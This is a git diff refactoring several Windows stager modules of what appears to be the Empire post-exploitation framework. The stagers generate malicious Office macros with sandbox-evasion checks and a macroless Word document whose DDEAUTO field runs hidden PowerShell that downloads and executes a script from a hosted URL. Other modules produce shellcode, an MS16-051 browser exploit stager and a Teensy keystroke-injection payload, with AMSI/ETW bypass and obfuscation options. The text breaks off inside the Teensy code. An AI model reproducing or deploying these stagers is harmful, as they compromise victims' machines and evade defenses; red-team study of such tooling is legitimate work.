b/empire/server/stagers/windows/macro.py @@ -5,6 +5,7 @@ from empire.server.common import helpers import random, string + class Stager(object): def __init__(self, mainMenu, params=[]): @@ -14,7 +15,7 @@ def __init__(self, mainMenu, params=[]): 'Author': ['@enigma0x3', '@harmj0y'], - 'Description': ('Generates an office macro for Empire, compatible with office 97-2003, and 2007 file types.'), + 'Description': 'Generates an office macro for Empire, compatible with office 97-2003, and 2007 file types.', 'Comments': [ 'http://enigma0x3.wordpress.com/2014/01/11/using-a-powershell-payload-in-a-client-side-attack/' @@ -25,160 +26,164 @@ def __init__(self, mainMenu, params=[]): self.options = { # format: # value_name : {description, required, default_value} - 'Listener' : { - 'Description' : 'Listener to generate stager for.', - 'Required' : True, - 'Value' : '' + 'Listener': { + 'Description': 'Listener to generate stager for.', + 'Required': True, + 'Value': '' }, - 'Language' : { - 'Description' : 'Language of the stager to generate.', - 'Required' : True, - 'Value' : 'powershell' + 'Language': { + 'Description': 'Language of the stager to generate.', + 'Required': True, + 'Value': 'powershell', + 'SuggestedValues': ['powershell'], + 'Strict': True }, - 'StagerRetries' : { - 'Description' : 'Times for the stager to retry connecting.', - 'Required' : False, - 'Value' : '0' + 'StagerRetries': { + 'Description': 'Times for the stager to retry connecting.', + 'Required': False, + 'Value': '0' }, - 'OutFile' : { - 'Description' : 'Filename that should be used for the generated output, otherwise returned as a string.', - 'Required' : False, - 'Value' : '' + 'OutFile': { + 'Description': 'Filename that should be used for the generated output, otherwise returned as a string.', + 'Required': False, + 'Value': '' }, - 'Base64' : { - 'Description' : 'Switch. Base64 encode the output.', - 'Required' : True, - 'Value' : 'True', - 'SuggestedValues': ['True', 'False'], - 'Strict' : True + 'Base64': { + 'Description': 'Switch. Base64 encode the output.', + 'Required': True, + 'Value': 'True', + 'SuggestedValues': ['True', 'False'], + 'Strict': True }, - 'Obfuscate' : { - 'Description' : 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', - 'Required' : False, - 'Value' : 'False', - 'SuggestedValues': ['True', 'False'], - 'Strict' : True + 'Obfuscate': { + 'Description': 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', + 'Required': False, + 'Value': 'False', + 'SuggestedValues': ['True', 'False'], + 'Strict': True }, - 'ObfuscateCommand' : { - 'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', - 'Required' : False, - 'Value' : r'Token\All\1' + 'ObfuscateCommand': { + 'Description': 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', + 'Required': False, + 'Value': r'Token\All\1' }, - 'SafeChecks' : { - 'Description' : 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.', - 'Required' : True, - 'Value' : 'True', - 'SuggestedValues': ['True', 'False'], - 'Strict' : True - }, - 'UserAgent' : { - 'Description' : 'User-agent string to use for the staging request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'SafeChecks': { + 'Description': 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.', + 'Required': True, + 'Value': 'True', + 'SuggestedValues': ['True', 'False'], + 'Strict': True }, - 'Proxy' : { - 'Description' : 'Proxy to use for request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'UserAgent': { + 'Description': 'User-agent string to use for the staging request (default, none, or other).', + 'Required': False, + 'Value': 'default' }, - 'ProxyCreds' : { - 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'Proxy': { + 'Description': 'Proxy to use for request (default, none, or other).', + 'Required': False, + 'Value': 'default' + }, + 'ProxyCreds': { + 'Description': 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required': False, + 'Value': 'default' }, 'Bypasses': { 'Description': 'Bypasses as a space separated list to be prepended to the launcher', 'Required': False, 'Value': 'mattifestation etw' }, - 'OutlookEvasion' : { - 'Description' : 'Include BC-Securty\'s Outlook Sandbox evasion code', - 'Required' : False, - 'Value' : 'False' + 'OutlookEvasion': { + 'Description': 'Include BC-Security\'s Outlook Sandbox evasion code', + 'Required': False, + 'Value': 'False', + 'SuggestedValues': ['True', 'False'], + 'Strict': True } } # save off a copy of the mainMenu object to access external functionality # like listeners/agent handlers/etc. self.mainMenu = mainMenu - + for param in params: # parameter format is [Name, Value] option, value = param if option in self.options: self.options[option]['Value'] = value - def generate(self): # extract all of our options language = self.options['Language']['Value'] - listenerName = self.options['Listener']['Value'] + listener_name = self.options['Listener']['Value'] base64 = self.options['Base64']['Value'] obfuscate = self.options['Obfuscate']['Value'] - obfuscateCommand = self.options['ObfuscateCommand']['Value'] - userAgent = self.options['UserAgent']['Value'] + obfuscate_command = self.options['ObfuscateCommand']['Value'] + user_agent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] - proxyCreds = self.options['ProxyCreds']['Value'] - stagerRetries = self.options['StagerRetries']['Value'] - safeChecks = self.options['SafeChecks']['Value'] + proxy_creds = self.options['ProxyCreds']['Value'] + stager_retries = self.options['StagerRetries']['Value'] + safe_checks = self.options['SafeChecks']['Value'] bypasses = self.options['Bypasses']['Value'] - OutlookEvasion = self.options['OutlookEvasion']['Value'] + outlook_evasion = self.options['OutlookEvasion']['Value'] encode = False if base64.lower() == "true": encode = True - invokeObfuscation = False + invoke_obfuscation = False if obfuscate.lower() == "true": - invokeObfuscation = True + invoke_obfuscation = True - OutlookEvasionBool = False - if OutlookEvasion.lower() == "true": - OutlookEvasionBool = True + outlook_evasion_bool = False + if outlook_evasion.lower() == "true": + outlook_evasion_bool = True # generate the launcher code - launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=encode, - obfuscate=invokeObfuscation, obfuscationCommand=obfuscateCommand, - userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, - stagerRetries=stagerRetries, safeChecks=safeChecks, + launcher = self.mainMenu.stagers.generate_launcher(listenerName=listener_name, language=language, encode=encode, + obfuscate=invoke_obfuscation, + obfuscationCommand=obfuscate_command, + userAgent=user_agent, proxy=proxy, proxyCreds=proxy_creds, + stagerRetries=stager_retries, safeChecks=safe_checks, bypasses=bypasses) - Str = ''.join(random.choice(string.ascii_letters) for i in range(random.randint(1,len(listenerName)))) - Method=''.join(random.choice(string.ascii_letters) for i in range(random.randint(1,len(listenerName)))) + set_string = ''.join(random.choice(string.ascii_letters) for i in range(random.randint(1, len(listener_name)))) + set_method = ''.join(random.choice(string.ascii_letters) for i in range(random.randint(1, len(listener_name)))) if launcher == "": print(helpers.color("[!] Error in launcher command generation.")) return "" else: chunks = list(helpers.chunks(launcher, 50)) - payload = "\tDim "+Str+" As String\n" - payload += "\t"+Str+" = \"" + str(chunks[0]) + "\"\n" + payload = "\tDim " + set_string + " As String\n" + payload += "\t" + set_string + " = \"" + str(chunks[0]) + "\"\n" for chunk in chunks[1:]: - payload += "\t"+Str+" = "+Str+" + \"" + str(chunk) + "\"\n" + payload += "\t" + set_string + " = " + set_string + " + \"" + str(chunk) + "\"\n" macro = "Sub AutoClose()\n" - macro += "\t"+Method+"\n" + macro += "\t" + set_method + "\n" macro += "End Sub\n\n" - macro += "Public Function "+Method+"() As Variant\n" + macro += "Public Function " + set_method + "() As Variant\n" - if OutlookEvasionBool == True: + if outlook_evasion_bool == True: macro += "\tstrComputer = \".\"\n" macro += "\tSet objWMIService = GetObject(\"winmgmts:\\\\\" & strComputer & \"\\root\cimv2\")\n" macro += "\tSet ID = objWMIService.ExecQuery(\"Select IdentifyingNumber from Win32_ComputerSystemproduct\")\n" macro += "\tFor Each objItem In ID\n" macro += "\t\tIf StrComp(objItem.IdentifyingNumber, \"2UA20511KN\") = 0 Then End\n" - macro += "\tNext\n" + macro += "\tNext\n" macro += "\tSet disksize = objWMIService.ExecQuery(\"Select Size from Win32_logicaldisk\")\n" macro += "\tFor Each objItem In disksize\n" macro += "\t\tIf (objItem.Size = 42949603328#) Then End\n" macro += "\t\tIf (objItem.Size = 68719443968#) Then End\n" - macro +="\tNext\n" - + macro += "\tNext\n" + macro += payload macro += "\tSet asd = CreateObject(\"WScript.Shell\")\n" - macro += "\tasd.Run("+Str+")\n" + macro += "\tasd.Run(" + set_string + ")\n" macro += "End Function\n" return macro diff --git a/empire/server/stagers/windows/macroless_msword.py b/empire/server/stagers/windows/macroless_msword.py index d5f16be0e..4bc9517e0 100644 --- a/empire/server/stagers/windows/macroless_msword.py +++ b/empire/server/stagers/windows/macroless_msword.py @@ -4,6 +4,7 @@ from empire.server.common import helpers import os + class Stager(object): def __init__(self, mainMenu, params=[]): @@ -14,7 +15,7 @@ def __init__(self, mainMenu, params=[]): 'Author': ['james fitts'], - 'Description': ('Creates a macroless document utilizing a formula field for code execution'), + 'Description': 'Creates a macroless document utilizing a formula field for code execution', 'Comments': ["Hard work by Etienne Stalmas and Saif El-Sherei"] } @@ -23,31 +24,31 @@ def __init__(self, mainMenu, params=[]): self.options = { # format: # value_name : {description, required, default_value} - 'Listener' : { - 'Description' : 'Listener to use for the payload.', - 'Required' : True, - 'Value' : '' + 'Listener': { + 'Description': 'Listener to use for the payload.', + 'Required': True, + 'Value': '' + }, + 'OutputPs1': { + 'Description': 'PS1 file to execute against the target.', + 'Required': True, + 'Value': 'default.ps1' + }, + 'OutputDocx': { + 'Description': 'MSOffice document name.', + 'Required': True, + 'Value': 'empire.docx' }, - 'OutputPs1' : { - 'Description' : 'PS1 file to execute against the target.', - 'Required' : True, - 'Value' : 'default.ps1' - }, - 'OutputDocx' : { - 'Description' : 'MSOffice document name.', - 'Required' : True, - 'Value' : 'empire.docx' - }, - 'OutputPath' : { - 'Description' : 'Output path for the files.', - 'Required' : True, - 'Value' : '/tmp/' - }, - 'HostURL' : { - 'Description' : 'IP address to host the malicious ps1 file.', - 'Required' : True, - 'Value' : 'http://192.168.1.1:80' - } + 'OutputPath': { + 'Description': 'Output path for the files.', + 'Required': True, + 'Value': '/tmp/' + }, + 'HostURL': { + 'Description': 'IP address to host the malicious ps1 file.', + 'Required': True, + 'Value': 'http://192.168.1.1:80' + } } # save off a copy of the mainMenu object to access external functionality @@ -67,107 +68,109 @@ def __init__(self, mainMenu, params=[]): def generate(self, obfuscate=False, obfuscationCommand=""): - listener = self.options['Listener']['Value'] - output_path = self.options['OutputPath']['Value'] - output_docx = self.options['OutputDocx']['Value'] - host = self.options['HostURL']['Value'] - ps1 = self.options['OutputPs1']['Value'] - - if not self.mainMenu.listeners.is_listener_valid(listener): - print(helpers.color("[!] Invalid listener: " + listener)) - return "" - else: - launcher = self.mainMenu.stagers.generate_launcher(listener, language='powershell', encode=True) - - def create_directory_structure(outdir): - os.makedirs(outdir + "_rels") - os.makedirs(outdir + "docProps") - os.makedirs(outdir + "word") - os.makedirs(outdir + "word/_rels") - os.makedirs(outdir + "word/theme") - - def create_files(outdir): - content_types = """ + listener = self.options['Listener']['Value'] + output_path = self.options['OutputPath']['Value'] + output_docx = self.options['OutputDocx']['Value'] + host = self.options['HostURL']['Value'] + ps1 = self.options['OutputPs1']['Value'] + + if not self.mainMenu.listeners.is_listener_valid(listener): + print(helpers.color("[!] Invalid listener: " + listener)) + return "" + else: + launcher = self.mainMenu.stagers.generate_launcher(listener, language='powershell', encode=True) + + def create_directory_structure(outdir): + os.makedirs(outdir + "_rels") + os.makedirs(outdir + "docProps") + os.makedirs(outdir + "word") + os.makedirs(outdir + "word/_rels") + os.makedirs(outdir + "word/theme") + + def create_files(outdir): + content_types = """ """ - - f = open(outdir + "[Content_Types].xml", 'w') - f.write(content_types) - hidden_rels = """ + f = open(outdir + "[Content_Types].xml", 'w') + f.write(content_types) + + hidden_rels = """ """ - f = open(outdir + "_rels/.rels", 'w') - f.write(hidden_rels) + f = open(outdir + "_rels/.rels", 'w') + f.write(hidden_rels) - docProps_app = """ + doc_props_app = """ 211270Microsoft Office Word011falseTitle1false81falsefalse16.0000""" - f = open(outdir + "docProps/app.xml", 'w') - f.write(docProps_app) + f = open(outdir + "docProps/app.xml", 'w') + f.write(doc_props_app) - docProps_core = """ + doc_props_core = """ AdministratorAdministrator12017-10-11T12:49:00Z2017-10-11T12:51:00Z""" - f = open(outdir + "docProps/core.xml", 'w') - f.write(docProps_core) + f = open(outdir + "docProps/core.xml", 'w') + f.write(doc_props_core) - word_rels = """ + word_rels = """ """ - f = open(outdir + "word/_rels/document.xml.rels", 'w') - f.write(word_rels) + f = open(outdir + "word/_rels/document.xml.rels", 'w') + f.write(word_rels) - word_theme = """ + word_theme = """ """ - f = open(outdir + "word/theme/theme1.xml", 'w') - f.write(word_theme) + f = open(outdir + "word/theme/theme1.xml", 'w') + f.write(word_theme) - font_table = """ + font_table = """ """ - f = open(outdir + "word/fontTable.xml", 'w') - f.write(font_table) + f = open(outdir + "word/fontTable.xml", 'w') + f.write(font_table) - settings = """ + settings = """ """ - f = open(outdir + "word/settings.xml", 'w') - f.write(settings) + f = open(outdir + "word/settings.xml", 'w') + f.write(settings) - styles = """ + styles = """ """ - f = open(outdir + "word/styles.xml", 'w') - f.write(styles) + f = open(outdir + "word/styles.xml", 'w') + f.write(styles) - web_settings = """ + web_settings = """ """ - f = open(outdir + "word/webSettings.xml", 'w') - f.write(web_settings) - - def craft_exploit(outdir, url, pshell): - document = """ -DDEAUTO C:\\\\Windows\\\\System32\\\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('%s/%s');powershell -noP -sta -w 1 -enc $e "!Unexpected End of Formula""" % (url, pshell) + f = open(outdir + "word/webSettings.xml", 'w') + f.write(web_settings) - f = open(outdir + "word/document.xml", 'w') - f.write(document) + def craft_exploit(outdir, url, pshell): + document = """ +DDEAUTO C:\\\\Windows\\\\System32\\\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('%s/%s');powershell -noP -sta -w 1 -enc $e "!Unexpected End of Formula""" % ( + url, pshell) - def craft_ps(outdir, pshell_blob, fname): - pshell_blob = pshell_blob.split("powershell -noP -sta -w 1 -enc ")[1] - f = open(outdir + fname, 'w') - f.write(pshell_blob) + f = open(outdir + "word/document.xml", 'w') + f.write(document) - if output_path[-1] != "/": - output_path = output_path + "/" + def craft_ps(outdir, pshell_blob, fname): + pshell_blob = pshell_blob.split("powershell -noP -sta -w 1 -enc ")[1] + f = open(outdir + fname, 'w') + f.write(pshell_blob) - create_directory_structure(output_path) - create_files(output_path) - craft_ps(output_path, launcher, ps1) - craft_exploit(output_path, host, ps1) + if output_path[-1] != "/": + output_path = output_path + "/" - print(helpers.color("[+] '%s' and '%s' was created in the '%s' directory" % (output_docx, ps1, output_path))) + create_directory_structure(output_path) + create_files(output_path) + craft_ps(output_path, launcher, ps1) + craft_exploit(output_path, host, ps1) - return os.system("cd %s && zip %s%s -r [Content_Types].xml docProps/ _rels word && rm -rf [Content_Types].xml docProps/ _rels/ word/ && cd -" % (output_path, output_path, output_docx)) + print(helpers.color("[+] '%s' and '%s' was created in the '%s' directory" % (output_docx, ps1, output_path))) + return os.system( + "cd %s && zip %s%s -r [Content_Types].xml docProps/ _rels word && rm -rf [Content_Types].xml docProps/ _rels/ word/ && cd -" % ( + output_path, output_path, output_docx)) diff --git a/empire/server/stagers/windows/ms16-051.py b/empire/server/stagers/windows/ms16-051.py index 7762887e1..50a60ab3e 100644 --- a/empire/server/stagers/windows/ms16-051.py +++ b/empire/server/stagers/windows/ms16-051.py @@ -11,10 +11,10 @@ def __init__(self, mainMenu, params=[]): 'Author': ['CrossGroupSecurity'], - 'Description': ( + 'Description': 'Leverages MS16-051 to execute powershell in unpatched browsers. This is a file-less vector which ' 'works on IE9/10/11 and all versions of Windows. Target will have to open link with vulnerable version ' - 'of IE.'), + 'of IE.', 'Comments': [ 'https://github.com/CrossGroupSecurity/PowerShell-MS16-051-IE-RCE' @@ -31,7 +31,9 @@ def __init__(self, mainMenu, params=[]): 'Language': { 'Description': 'Language of the stager to generate.', 'Required': True, - 'Value': 'powershell' + 'Value': 'powershell', + 'SuggestedValues': ['powershell'], + 'Strict': True }, 'StagerRetries': { 'Description': 'Times for the stager to retry connecting.', @@ -75,8 +77,7 @@ def __init__(self, mainMenu, params=[]): 'Value': 'default' }, 'ProxyCreds': { - 'Description': 'Proxy credentials ([domain\]username:password) to use for request (default, none, ' - 'or other).', + 'Description': 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', 'Required': False, 'Value': 'default' } diff --git a/empire/server/stagers/windows/nim.py b/empire/server/stagers/windows/nim.py index 4167873e6..43958212c 100644 --- a/empire/server/stagers/windows/nim.py +++ b/empire/server/stagers/windows/nim.py @@ -12,7 +12,7 @@ def __init__(self, main_menu, params=[]): 'Author': ['@hubbl3'], - 'Description': ('Generate an unmanaged binary that loads the CLR and executes a powershell one liner'), + 'Description': 'Generate an unmanaged binary that loads the CLR and executes a powershell one liner', 'Comments': [ 'Based on the work of @bytebl33d3r' @@ -24,7 +24,7 @@ def __init__(self, main_menu, params=[]): # format: # value_name : {description, required, default_value} 'Language': { - 'Description': 'Language of the stager to generate (powershell).', + 'Description': 'Language of the stager to generate.', 'Required': True, 'Value': 'powershell', 'SuggestedValues': ['powershell'], diff --git a/empire/server/stagers/windows/shellcode.py b/empire/server/stagers/windows/shellcode.py index 24e668b80..bacae6ff6 100644 --- a/empire/server/stagers/windows/shellcode.py +++ b/empire/server/stagers/windows/shellcode.py @@ -1,9 +1,10 @@ from __future__ import print_function from builtins import object -from empire.server.common import helpers +from empire.server.common import helpers + class Stager(object): - + def __init__(self, mainMenu, params=[]): self.info = { @@ -11,65 +12,67 @@ def __init__(self, mainMenu, params=[]): 'Author': ['@xorrior', '@monogas'], - 'Description': ('Generate a windows shellcode stager'), + 'Description': 'Generate a windows shellcode stager', - 'Comments': [ - '' - ] + 'Comments': [''] } self.options = { - 'Listener' : { - 'Description' : 'Listener to generate stager for.', - 'Required' : True, - 'Value' : '' + 'Listener': { + 'Description': 'Listener to generate stager for.', + 'Required': True, + 'Value': '', }, - 'Language' : { - 'Description' : 'Language of the stager to generate.', - 'Required' : True, - 'Value' : 'powershell' + 'Language': { + 'Description': 'Language of the stager to generate.', + 'Required': True, + 'Value': 'powershell', + 'SuggestedValues': ['powershell'], + 'Strict': True }, - 'Arch' : { - 'Description' : 'Architecture of the .dll to generate (x64 or x86).', - 'Required' : True, - 'Value' : 'x64' + 'Arch': { + 'Description': 'Architecture of the .dll to generate (x64 or x86).', + 'Required': True, + 'Value': 'x64', + 'SuggestedValues': ['x64', 'x86'], + 'Strict': True }, - 'StagerRetries' : { - 'Description' : 'Times for the stager to retry connecting.', - 'Required' : False, - 'Value' : '0' + 'StagerRetries': { + 'Description': 'Times for the stager to retry connecting.', + 'Required': False, + 'Value': '0' }, - 'UserAgent' : { - 'Description' : 'User-agent string to use for the staging request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'UserAgent': { + 'Description': 'User-agent string to use for the staging request (default, none, or other).', + 'Required': False, + 'Value': 'default' }, - 'Proxy' : { - 'Description' : 'Proxy to use for request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'Proxy': { + 'Description': 'Proxy to use for request (default, none, or other).', + 'Required': False, + 'Value': 'default' }, - 'ProxyCreds' : { - 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'ProxyCreds': { + 'Description': 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required': False, + 'Value': 'default' }, - 'OutFile' : { - 'Description' : 'Filename that should be used for the generated output.', - 'Required' : True, - 'Value' : 'launcher.bin' + 'OutFile': { + 'Description': 'Filename that should be used for the generated output.', + 'Required': True, + 'Value': 'launcher.bin' }, - 'Obfuscate' : { - 'Description' : 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', - 'Required' : False, - 'Value' : 'False', + 'Obfuscate': { + 'Description': 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', + 'Required': False, + 'Value': 'False', 'SuggestedValues': ['True', 'False'], 'Strict': True }, - 'ObfuscateCommand' : { - 'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', - 'Required' : False, - 'Value' : r'Token\All\1' + 'ObfuscateCommand': { + 'Description': 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', + 'Required': False, + 'Value': r'Token\All\1' } } @@ -85,42 +88,45 @@ def __init__(self, mainMenu, params=[]): def generate(self): - listenerName = self.options['Listener']['Value'] + listener_name = self.options['Listener']['Value'] arch = self.options['Arch']['Value'] # staging options language = self.options['Language']['Value'] - userAgent = self.options['UserAgent']['Value'] + user_agent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] - proxyCreds = self.options['ProxyCreds']['Value'] - stagerRetries = self.options['StagerRetries']['Value'] + proxy_creds = self.options['ProxyCreds']['Value'] + stager_retries = self.options['StagerRetries']['Value'] obfuscate = self.options['Obfuscate']['Value'] - obfuscateCommand = self.options['ObfuscateCommand']['Value'] + obfuscate_command = self.options['ObfuscateCommand']['Value'] - if not self.mainMenu.listeners.is_listener_valid(listenerName): + if not self.mainMenu.listeners.is_listener_valid(listener_name): # not a valid listener, return nothing for the script - print(helpers.color("[!] Invalid listener: " + listenerName)) + print(helpers.color("[!] Invalid listener: " + listener_name)) return "" else: if obfuscate.lower() == "true": - obfuscateScript = True + obfuscate_script = True else: - obfuscateScript = False - - if obfuscate.lower() == "true" and "launcher" in obfuscateCommand.lower(): + obfuscate_script = False + + if obfuscate.lower() == "true" and "launcher" in obfuscate_command.lower(): print(helpers.color("[!] if using obfuscation, LAUNCHER obfuscation cannot be used in the dll stager.")) return "" - + # generate the PowerShell one-liner with all of the proper options are set - launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) + launcher = self.mainMenu.stagers.generate_launcher(listener_name, language=language, encode=True, + obfuscate=obfuscate_script, + obfuscationCommand=obfuscate_command, + userAgent=user_agent, + proxy=proxy, proxyCreds=proxy_creds, + stagerRetries=stager_retries) if launcher == "": print(helpers.color("[!] Error in launcher generation.")) return "" else: - launcherCode = launcher.split(" ")[-1] - - shellcode = self.mainMenu.stagers.generate_shellcode(launcherCode, arch) - - return shellcode \ No newline at end of file + launcher_code = launcher.split(" ")[-1] + shellcode = self.mainMenu.stagers.generate_shellcode(launcher_code, arch) + return shellcode diff --git a/empire/server/stagers/windows/teensy.py b/empire/server/stagers/windows/teensy.py index 0281320d7..316532602 100644 --- a/empire/server/stagers/windows/teensy.py +++ b/empire/server/stagers/windows/teensy.py @@ -2,6 +2,7 @@ from builtins import object from empire.server.common import helpers + class Stager(object): def __init__(self, mainMenu, params=[]): @@ -11,63 +12,63 @@ def __init__(self, mainMenu, params=[]): 'Author': ['@matterpreter'], - 'Description': ('Generates a Teensy script that runes a one-liner stage0 launcher for Empire.'), + 'Description': 'Generates a Teensy script that runes a one-liner stage0 launcher for Empire.', - 'Comments': [ - '' - ] + 'Comments': [''] } # any options needed by the stager, settable during runtime self.options = { # format: # value_name : {description, required, default_value} - 'Listener' : { - 'Description' : 'Listener to generate stager for.', - 'Required' : True, - 'Value' : '' + 'Listener': { + 'Description': 'Listener to generate stager for.', + 'Required': True, + 'Value': '' }, - 'Language' : { - 'Description' : 'Language of the stager to generate.', - 'Required' : True, - 'Value' : 'powershell' + 'Language': { + 'Description': 'Language of the stager to generate.', + 'Required': True, + 'Value': 'powershell', + 'SuggestedValues': ['powershell'], + 'Strict': True }, - 'StagerRetries' : { - 'Description' : 'Times for the stager to retry connecting.', - 'Required' : False, - 'Value' : '0' + 'StagerRetries': { + 'Description': 'Times for the stager to retry connecting.', + 'Required': False, + 'Value': '0' }, - 'OutFile' : { - 'Description' : 'File to output duckyscript to.', - 'Required' : True, - 'Value' : '/tmp/teensy.ino' + 'OutFile': { + 'Description': 'File to output duckyscript to.', + 'Required': True, + 'Value': '/tmp/teensy.ino' }, - 'Obfuscate' : { - 'Description' : 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', - 'Required' : False, - 'Value' : 'False', + 'Obfuscate': { + 'Description': 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', + 'Required': False, + 'Value': 'False', 'SuggestedValues': ['True', 'False'], 'Strict': True }, - 'ObfuscateCommand' : { - 'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', - 'Required' : False, - 'Value' : r'Token\All\1' + 'ObfuscateCommand': { + 'Description': 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', + 'Required': False, + 'Value': r'Token\All\1' }, - 'UserAgent' : { - 'Description' : 'User-agent string to use for the staging request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'UserAgent': { + 'Description': 'User-agent string to use for the staging request (default, none, or other).', + 'Required': False, + 'Value': 'default' }, - 'Proxy' : { - 'Description' : 'Proxy to use for request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'Proxy': { + 'Description': 'Proxy to use for request (default, none, or other).', + 'Required': False, + 'Value': 'default' }, - 'ProxyCreds' : { - 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'ProxyCreds': { + 'Description': 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required': False, + 'Value': 'default' } } @@ -81,115 +82,118 @@ def __init__(self, mainMenu, params=[]): if option in self.options: self.options[option]['Value'] = value - def generate(self): # extract all of our options language = self.options['Language']['Value'] - listenerName = self.options['Listener']['Value'] - userAgent = self.options['UserAgent']['Value'] + listener_name = self.options['Listener']['Value'] + user_agent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] - proxyCreds = self.options['ProxyCreds']['Value'] - stagerRetries = self.options['StagerRetries']['Value'] + proxy_creds = self.options['ProxyCreds']['Value'] + stager_retries = self.options['StagerRetries']['Value'] obfuscate = self.options['Obfuscate']['Value'] - obfuscateCommand = self.options['ObfuscateCommand']['Value'] + obfuscate_command = self.options['ObfuscateCommand']['Value'] - obfuscateScript = False + obfuscate_script = False if obfuscate.lower() == "true": - obfuscateScript = True + obfuscate_script = True # generate the launcher code - launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) + launcher = self.mainMenu.stagers.generate_launcher(listenerName=listener_name, language=language, encode=True, + obfuscate=obfuscate_script, + obfuscationCommand=obfuscate_command, userAgent=user_agent, + proxy=proxy, proxyCreds=proxy_creds, + stagerRetries=stager_retries) if launcher == "": print(helpers.color("[!] Error in launcher command generation.")) return "" - elif obfuscate and "launcher" in obfuscateCommand.lower(): + elif obfuscate and "launcher" in obfuscate_command.lower(): print(helpers.color("[!] If using obfuscation, LAUNCHER obfuscation cannot be used in the teensy stager.")) return "" else: enc = launcher.split(" ")[-1] - sendEnc = "Keyboard.print(\"" - sendEnc += enc - sendEnc += "\");\n" - teensyCode = "unsigned int lock_check_wait = 1000;\n" - teensyCode += "int ledKeys(void) {return int(keyboard_leds);}\n" - teensyCode += "boolean isLockOn(void) {\n" - teensyCode += " return ((ledKeys() & 2) == 2) ? true : false;\n" - teensyCode += "}\n\n" - teensyCode += "void clearKeys (){\n" - teensyCode += " delay(200);\n" - teensyCode += " Keyboard.set_key1(0);\n" - teensyCode += " Keyboard.set_key2(0);\n" - teensyCode += " Keyboard.set_key3(0);\n" - teensyCode += " Keyboard.set_key4(0);\n" - teensyCode += " Keyboard.set_key5(0);\n" - teensyCode += " Keyboard.set_key6(0);\n" - teensyCode += " Keyboard.set_modifier(0);\n" - teensyCode += " Keyboard.send_now();\n" - teensyCode += "}\n\n" - teensyCode += "void toggleLock(void) {\n" - teensyCode += " Keyboard.set_key1(KEY_CAPS_LOCK);\n" - teensyCode += " Keyboard.send_now();\n" - teensyCode += " clearKeys();\n" - teensyCode += "}\n\n" - teensyCode += "void wait_for_drivers(void) {\n" - teensyCode += " boolean numLockTrap = isLockOn();\n" - teensyCode += " while(numLockTrap == isLockOn()) {\n" - teensyCode += " toggleLock();\n" - teensyCode += " delay(lock_check_wait);\n" - teensyCode += " }\n" - teensyCode += " toggleLock();\n" - teensyCode += " delay(lock_check_wait);\n" - teensyCode += "}\n\n" - teensyCode += "void win_minWindows(void) {\n" - teensyCode += " delay(300);\n" - teensyCode += " Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);\n" - teensyCode += " Keyboard.set_key1(KEY_M);\n" - teensyCode += " Keyboard.send_now();\n" - teensyCode += " clearKeys();\n" - teensyCode += "}\n\n" - teensyCode += "void win_restoreWindows(void) {\n" - teensyCode += " delay(300);\n" - teensyCode += " Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);\n" - teensyCode += " Keyboard.send_now();\n" - teensyCode += " Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI | MODIFIERKEY_SHIFT);\n" - teensyCode += " Keyboard.send_now();\n" - teensyCode += " Keyboard.set_key1(KEY_M);\n" - teensyCode += " Keyboard.send_now();\n" - teensyCode += " clearKeys();\n" - teensyCode += "}\n\n" - teensyCode += "void win_run(void) {\n" - teensyCode += " Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);\n" - teensyCode += " Keyboard.set_key1(KEY_R);\n" - 